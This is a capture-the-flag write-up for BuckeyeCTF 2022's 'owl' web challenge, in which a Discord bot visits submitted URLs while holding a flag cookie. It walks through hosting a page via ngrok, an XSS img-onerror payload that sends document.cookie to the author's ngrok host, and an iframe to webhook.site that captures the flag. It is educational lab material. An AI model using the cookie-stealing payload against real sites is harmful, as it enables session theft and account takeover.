siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

owl

Overview

This bird never goes ANYWHERE without its flag, but is your site hootin’ enough? owl#9960

Author: gsemaj

Difficulty: Beginner

Find the flag

In this challenge, we can download a file:

index.js:

const discord = require("discord.js");
const Browser = require("zombie");

const client = new discord.Client();
client.login(process.env.DISCORD_TOKEN);

const browser = new Browser();

function fly(url, content) {
	let bad = /<script[\s\S]*?>[\s\S]*?<\/script>/gi;

	return new Promise((resolve, reject) => {
		if(content.match(bad)) {
			resolve("hoot hoot!! >:V hoot hoot hoot hoot");
			return;
		}
	
		if(content.includes("cookie")) {
			resolve("hoooot hoot hoot hoot hoot hoot");
			return;
		}
	
		browser.visit(url, () => {
			let html = browser.html();
			if(html.toLowerCase().includes("owl")) {
				resolve("✨🦉 hoot hoot 🦉✨");
			} else {
				resolve("");
			}
		});
	})
}

function scout(url, host) {
	return new Promise((resolve, reject) => {
		if(!url.includes("owl")) {
			resolve("hoot... hoot hoot?");
			return;
		}

		browser.setCookie({
			name: "flag",
			domain: host,
			value: process.env.FLAG
		});

		browser.fetch(url).then(r => {
			return r.text();
		}).then(t => {
			return fly(url, t);
		}).then(m => {
			resolve(m);
		});
	});
}

client.on("ready", () => {
	console.log("Logged in as " + client.user.tag);
});

client.on("message", msg => {
	if(!(msg.channel instanceof discord.DMChannel))
		return;

	let url = /https?:\/\/(www\.)?([-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b)([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/i
	let match = msg.content.match(url);
	if(match) {
		scout(match[0], match[2]).then(res => {
			if(res.length > 0) {
				msg.channel.send(res);
			}
		});
	} else {
		if(msg.content.toLowerCase().includes("owl") || msg.mentions.has(client.user.id)) {
			msg.channel.send("✨🦉 hoot hoot 🦉✨");
		}
	}
});

At the first glance, I saw require("discord.js");, which means we’re dealing with a Discord bot!

Also, at a high level overview, it’ll reach to a website where we give to the bot.

Webhook:

Let’s dive deeper to the JavaScript!

Function scout(url, host):

function scout(url, host) {
	return new Promise((resolve, reject) => {
		if(!url.includes("owl")) {
			resolve("hoot... hoot hoot?");
			return;
		}

		browser.setCookie({
			name: "flag",
			domain: host,
			value: process.env.FLAG
		});

		browser.fetch(url).then(r => {
			return r.text();
		}).then(t => {
			return fly(url, t);
		}).then(m => {
			resolve(m);
		});
	});
}

In this function:

Function fly(url, content):

function fly(url, content) {
	let bad = /<script[\s\S]*?>[\s\S]*?<\/script>/gi;

	return new Promise((resolve, reject) => {
		if(content.match(bad)) {
			resolve("hoot hoot!! >:V hoot hoot hoot hoot");
			return;
		}
	
		if(content.includes("cookie")) {
			resolve("hoooot hoot hoot hoot hoot hoot");
			return;
		}
	
		browser.visit(url, () => {
			let html = browser.html();
			if(html.toLowerCase().includes("owl")) {
				resolve("✨🦉 hoot hoot 🦉✨");
			} else {
				resolve("");
			}
		});
	})
}

In this function:

client.on("ready", () => {
	console.log("Logged in as " + client.user.tag);
});

client.on("message", msg => {
	if(!(msg.channel instanceof discord.DMChannel))
		return;

	let url = /https?:\/\/(www\.)?([-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b)([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/i
	let match = msg.content.match(url);
	if(match) {
		scout(match[0], match[2]).then(res => {
			if(res.length > 0) {
				msg.channel.send(res);
			}
		});
	} else {
		if(msg.content.toLowerCase().includes("owl") || msg.mentions.has(client.user.id)) {
			msg.channel.send("✨🦉 hoot hoot 🦉✨");
		}
	}
});

In this, if the Discord bot found a URL in the direct message, it’ll call scout() function.

Armed with above information, we can try to build our own website!

┌──(root🌸siunam)-[~/ctf/BuckeyeCTF-2022/Web/owl]
└─# mkdir owl
┌──(root🌸siunam)-[~/ctf/BuckeyeCTF-2022/Web/owl]
└─# cat index.html 
<html>
<title>Test</title>
<body>
	<p>Hello</p>
</body>
</html>

┌──(root🌸siunam)-[~/…/BuckeyeCTF-2022/Web/owl/owl]
└─# cat index.html 
<html>
<title>Test</title>
<body>
	<p>Owl here</p>
</body>
</html>
┌──(root🌸siunam)-[~/ctf/BuckeyeCTF-2022/Web/owl]
└─# python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(root🌸siunam)-[~/ctf/BuckeyeCTF-2022/Web/owl]
└─# ngrok --scheme http http 80
[...]
Web Interface                 http://127.0.0.1:4040                                                        
Forwarding                    http://360c-{Redacted}.ap.ngrok.io -> http://localhost:80                
                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                  
                              0       0       0.00    0.00    0.00    0.00

Now, we can try to send a URL to the owl Discord bot:

But how do we get the flag cookie??

We can do this via a XSS cookie stealer payload:

Let’s copy that and modify our index.html in /owl!

┌──(root🌸siunam)-[~/…/BuckeyeCTF-2022/Web/owl/owl]
└─# cat index.html 
<html>
<title>Test</title>
<body>
	<p>Owl here</p>
	<img src=x onerror="this.src='http://360c-{Redacted}.ap.ngrok.io/owl/?'+document.cookie; this.removeAttribute('onerror');">
</body>
</html>

This time, we see it returns hoooot hoot hoot hoot hoot hoot, which means it included a cookie.

Note: The reason why I didn’t have the <script> tag is because of the fly() function.

Hmm… Since the <script> tag is blocked, maybe we can try to use the <iframe> tag???

Note: <iframe> allows the page to show other files/people’s web contents.

To do so, I’ll use a online webhook service: Webhook.site

That will be our iframe’s source URL!

Now, let’s modify our owl/index.html!

┌──(root🌸siunam)-[~/…/BuckeyeCTF-2022/Web/owl/owl]
└─# cat index.html 
<html>
<title>Test</title>
<body>
	<p>Owl here</p>
	<iframe src="https://webhook.site/5d93b54e-1000-4941-a358-b50e48824e09"></iframe>
</body>
</html>

Then send the URL to the owl Discord bot!

Now, we should recieved a GET request in Webhook.site!

Boom! We got the flag!

Conclusion

What we’ve learned:

  1. Stealing Cookies via Discord Bot XSS